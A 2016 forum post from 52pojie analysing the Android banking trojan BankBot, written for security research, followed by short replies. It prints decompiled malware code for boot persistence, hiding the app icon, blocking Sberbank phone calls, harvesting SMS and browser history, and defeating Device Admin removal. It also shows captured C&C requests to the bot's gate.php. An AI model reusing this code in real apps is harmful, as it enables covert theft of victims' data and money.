吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7041|回复: 6
收起左侧

[移动样本分析] BankBot 样本分析

[复制链接]
henices 发表于 2016-2-26 13:38
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 henices 于 2016-2-26 17:52 编辑

0x00 样本概况

字段内容
样本名BankBot
MD53c42c391bec405bb28b28195c2961778
SHA25693b64019ee48177889d908c393703a2a2fe05ca33793c14b175467ce619b1b94
文件类型APK


这是一个以盗窃信用卡用户密码为主要目的的bot。安装后显示为Android图标。打开App后 会以Android系统更新的形式,诱导用户激活设备管理器达到常驻系统的目的。

install-2.png install-3.png




0x01 行为分析

开机自启动


[XML] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
<receiver android:name="com.android.market.Autorun">
    <intent-filter android:priority="999">
        <action android:name="android.intent.action.REBOOT" />
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <action android:name="android.intent.action.QUICKBOOT_POWERON" />
    </intent-filter>
    <intent-filter android:priority="1000">
        <action android:name="android.intent.action.REBOOT" />
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <action android:name="android.intent.action.QUICKBOOT_POWERON" />
    </intent-filter>
</receiver>


Autorun


[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
package com.android.market;
 
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
 
public final class Autorun extends BroadcastReceiver {
    public Autorun() {
        super();
    }
 
    public void onReceive(Context context, Intent intent) {
        Intent v0 = new Intent(context, Scheduler.class);
        v0.setFlags(0x10000000);
        context.startService(v0);
    }
}




开机将启动 Schedule 服务

Schedule 服务

[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
public int onStartCommand(Intent intent, int flags, int startId) {
    super.onStartCommand(intent, flags, startId);
    Utils.registerIfNeeded(((Context)this));
    Object v0 = this.getSystemService("alarm");
    PendingIntent v6 = PendingIntent.getBroadcast(((Context)this), 0, new Intent(((Context)this),
            NetworkController.class), 0);
    int v7 = FileController.fileExists(((Context)this), "interval") ? Integer.parseInt(FileController
            .readFile(((Context)this), "interval")) : 0xA;
    ((AlarmManager)v0).setRepeating(0, System.currentTimeMillis() + 0x2710, ((long)(v7 * 0x3E8)),
            v6);
    this.handleCrashes();
    return 1;
}


Schedule 服务使用alarm manager 注册一个定时任务。这个定时任务由NetworkController完成。 时间间隔由配置文件interval决定。定时和C&C服务器进行通讯。

com.android.market.FileController

[Java] 纯文本查看 复制代码
1
2
3
static final boolean fileExists(Context context, String filename) {
    return new File(context.getFilesDir(), filename).exists();
}



隐藏App 图标

[Java] 纯文本查看 复制代码
1
2
3
4
5
6
7
static final void hideApp(Context context, boolean hide) {
    ComponentName v0 = new ComponentName(context.getPackageName(), String.valueOf(context.getPackageName())
             + ".MainActivity");
    PackageManager v3 = context.getPackageManager();
    int v1 = hide ? 2 : 1;
    v3.setComponentEnabledSetting(v0, v1, 1);
}



伪造的系统Notification

[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
public void onCreate() {
    super.onCreate();
    new AppCrash().Register(((Context)this));
    Notification v3 = new Notification(0x108008A, "Android system requires user action", System.
            currentTimeMillis());
    Intent v1 = new Intent(this.getApplicationContext(), AdminX.class);
    v1.setAction("android.intent.action.VIEW");
    v1.setFlags(0x34000000);
    v3.setLatestEventInfo(this.getBaseContext(), "Android", "Android system requires action", PendingIntent
            .getActivity(((Context)this), 0, v1, 0x8000000));
    v3.flags |= 0x62;
    this.startForeground(2, v3);
    new Helper(this).execute(new Void[0]);
}




禁用屏幕锁定

[Java] 纯文本查看 复制代码
1
AdminX.this.getSystemService("keyguard").newKeyguardLock("ANDROID").disableKeyguard();


禁止拨打指定号码电话

[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public void onReceive(Context context, Intent intent) {
    String[] v8;
    String action = intent.getAction();
    String v6 = intent.getStringExtra("state");
    String v3 = intent.getStringExtra("incoming_number");
    String v5 = intent.getStringExtra("android.intent.extra.PHONE_NUMBER");
    String v1 = "8005555550; 4955005550;";
    String v10 = "8005555550; 4955005550;";
    String v11 = "";
    int v9 = 0;
    if(action.equals("android.intent.action.NEW_OUTGOING_CALL")) {
        String v4 = v5.replace("+", "").replace("#", "d").replace("*", "s").replace(" ", "").replace(
                "-", "");
        if(v1 != null) {
            v8 = v1.replace(" ", "").split(";");
            if(v8.length > 0) {
                int v13;
                for(v13 = 0; v13 < v8.length; ++v13) {
                    if(v4.contains(v8[v13])) {
                        v9 = 1;
                        v11 = String.valueOf(v11) + "blocked outgoing call";
                        this.setResultData(null);
                    }
                }
            }
        }
 
        if(v9 == 0) {
            v11 = String.valueOf(v11) + "outgoing call";
        }
 
        new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v4,
                v11) + "]"});
    }
  ...
 }


通过网页 http://www.sberbank.com/news-and-media/contacts 中的信息我们可以知道:
8005555550 4955005550 这两个号码 sberbank 的号码,在俄罗斯拨打免费。

禁止接听指定号码电话

[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
String v10 = "8005555550; 4955005550;";
 
if((action.equals("android.intent.action.PHONE_STATE")) && (v6.equals("RINGING"))) {
String v2 = v3 != null ? v3.replace("+", "").replace("#", "d").replace("*", "s").replace(
        " ", "").replace("-", "") : "Unknown";
if(v10 != null) {
    v8 = v10.replace(" ", "").split(";");
    for(v13 = 0; v13 < v8.length; ++v13) {
        if(v2.contains(v8[v13])) {
            v11 = "blocked incoming call";
            v9 = 1;
            this.hangUp(context);
        }
    }
 
    if(!v2.contains("Unknown")) {
        goto label_106;
    }
 
    v11 = "blocked incoming call";
    v9 = 1;
    this.hangUp(context);
}
 
label_106:
if(v9 == 0) {
    v11 = "incoming call";
}
 
new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v2,
        v11) + "]"});
}



获取短信记录

[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
private StringBuilder getSmsLog() {
    StringBuilder v10 = new StringBuilder("[");
    Cursor v8 = this.context.getContentResolver().query(Uri.parse("content://ABC".replace("A",
            "s").replace("B", "m").replace("C", "s")), null, null, null, null);
    if((v8.moveToFirst()) && v8.getCount() > 0) {
        while(!v8.isAfterLast()) {
            v10.append(String.format(Locale.US, "{\"address\":%s,\"body\":%s,\"date\":%s}",
                    JSONObject.quote(v8.getString(v8.getColumnIndex("address"))), JSONObject
                    .quote(v8.getString(v8.getColumnIndex("body"))), JSONObject.quote(v8.getString(
                    v8.getColumnIndex("date")))));
            if(!v8.isLast()) {
                v10.append(",");
            }
 
            v8.moveToNext();
        }
 
        v8.close();
    }
 
    return v10.append("]");
}



浏览器书签

[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
private StringBuilder getHistory(Uri historyUri) {
    StringBuilder v8 = new StringBuilder("[");
    Cursor v6 = this.context.getContentResolver().query(historyUri, new String[]{"title", "url",
            "date"}, "bookmark = 0", null, null);
    if((v6.moveToFirst()) && v6.getCount() > 0) {
        while(!v6.isAfterLast()) {
            v8.append(String.format(Locale.US, "{\"title\":%s,\"url\":%s,\"date\":%s}", JSONObject
                    .quote(v6.getString(v6.getColumnIndex("title"))), JSONObject.quote(v6.getString(
                    v6.getColumnIndex("url"))), JSONObject.quote(v6.getString(v6.getColumnIndex(
                    "date")))));
            if(!v6.isLast()) {
                v8.append(",");
            }
 
            v6.moveToNext();
        }
 
        v6.close();
    }
 
    return v8.append("]");
}



骗取信用卡信息

当用户打开Google Play 应用时,打开伪造的Activity,诱使用户输入信用卡信息。


install-4.png


高级技术

不断重启的Servcie


com.android.smali3
[Java] 纯文本查看 复制代码
1
2
3
4
public void onDestroy() {
    super.onDestroy();
    this.startService(new Intent(this.getApplicationContext(), smali3.class));
}



服务被停止,立即重启,无法停止。

防止卸载

Bankbot 申请 Device Admin 权限,无法被正常卸载。

> adb shell pm uninstall com.android.market
Failure

禁止删除 Device Admin 权限

这个一个非常流氓的做法,具体的做法是如下面的代码:

[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class AdRec extends DeviceAdminReceiver {
    public AdRec() {
        super();
    }
 
    public CharSequence onDisableRequested(Context context, Intent intent) {
        new AppCrash().Register(context);
        if(Build$VERSION.SDK_INT <= 0xA) {
            Intent v2 = new Intent("android.settings.SETTINGS");
            v2.setFlags(0x50000000);
            context.startActivity(v2);
            Intent v4 = new Intent("android.intent.action.MAIN");
            v4.addCategory("android.intent.category.HOME");
            v4.setFlags(0x10000000);
            context.startActivity(v4);
            return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
        }
 
        context.startService(new Intent(context, ASec.class));
        long v6 = 0x7D0;
        try {
            Thread.sleep(v6);
        }
        catch(InterruptedException v3) {
            v3.printStackTrace();
        }
 
        return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
    }
 
   ...
}


重写 DeviceAdminReceiver 的 onDisableRequest 方法。使用 Thread.sleep 方法使用户 无法操作界面,在此期间采取 Activity 切换的方法绕开取消激活的步骤。
这里出过几个问题,

  • Backdoor.AndroidOS.Obad.a 使用的,在设备管理器中隐身
  • 就是现在代码中所用到这个,目前在所有的Android 版本中存在。

install-5.png



界面劫持

通过界面劫持,诱使用户将App设置为设备管理器。从下图中可以看见Continues按钮其实 是设备管理器的激活按钮。


install-9.png


0x02 C&C 协议分析

Bankbot 以固定时间轮询的方式向C&C服务器请求命令,命令的格式为json格式。从代码中 可以得到json字段的信息。

[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
private static final String FIELD_ACTION = "action";
private static final String FIELD_CALL_LOG = "call_log";
private static final String FIELD_DATA = "data";
private static final String FIELD_HISTORY = "browser_history";
private static final String FIELD_ID = "id";
private static final String FIELD_IMEI = "imei";
private static final String FIELD_INTERCEPT = "intercept";
private static final String FIELD_MAYHEM = "mayhem";
private static final String FIELD_MESSAGE = "prefix_1";
private static final String FIELD_NEW_SERVER = "server";
private static final String FIELD_NUMBER_SEND_TO = "number_1";
private static final String FIELD_OPERATOR = "op";
private static final String FIELD_PHONE = "phone";
private static final String FIELD_POLL_INTERVAL = "server_poll";
private static final String FIELD_PREFIX = "prefix";
private static final String FIELD_REPORT_CALLS = "calls";
private static final String FIELD_SMS_HISTORY = "sms_history";
private static final String FIELD_SPAM = "text_2";
private static final String FIELD_STATUS = "status";
private static final String FIELD_URL_TO_SHOW = "url";
private static final String FIELD_VERSION = "version";


请求注册

返回报文

401

注册报文

[Diff] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
POST /p/gate.php HTTP/1.1
Content-Length: 106
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive
 
action=reg&imei=098767899076562&phone=15802920457&op=Android&version=4.4.4%2C3.4.0-gd853d22&prefix=12Jhw21
 
HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:21 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31
 
3
200
0




获取命令

[Diff] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
POST /p/gate.php HTTP/1.1
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive
 
action=poll&imei=098767899076562
 
 
HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:30 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31
 
0




返回的命令为json 格式,主要的指令有下面几个,


指令含义
401要求 bot 注册
call_log获取电话记录, 发送到C&C server
sms_history获取短信内容,发送到C&C server
browser_history获取浏览器书签,发送到C&C server
url访问url 链接
server更换C&C server
intercept
server_poll更新从服务器获取命令的时间间隔
mayhem
calls

监视服务了大半天,没有收到有效指令,看来不是特别活跃。

清除

这个App的清除非常费劲,原因就是注册为设备管理器的app不能卸载,而这个App又使诈 不让我们取消设备管理器,估计只有root的机器会好处理一些。

总结

BankBot 样本,代码编写的相当规范,风格严谨,是正规程序员的作品。但行为非常流氓, 很顽固,不容易清除。所以遇到申请device admin 权限的程序一定要小心谨慎,以免不良 后果。而Android的界面劫持也是一个严重的问题,估计后续利用这些技术的恶意App的数量 会越来越多。

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

windwing1883 发表于 2016-2-26 14:14
支持一下,哪里来的样本?
求魔 发表于 2016-2-26 15:13
xokamox 发表于 2016-2-26 23:37
Is there any sample provide for further inspection ?

Thanks ~
 楼主| henices 发表于 2016-3-1 16:12
部分Android手机提供安全模式,安全模式将禁用所有第三方APP,进入安全模式后,应该有一定机率可以清除锁机APP。
zdfs530 发表于 2016-3-25 00:17
看看,学学!
yzh07137 发表于 2016-6-7 14:34
请问能分享一下样本吗?
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-27 06:05

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表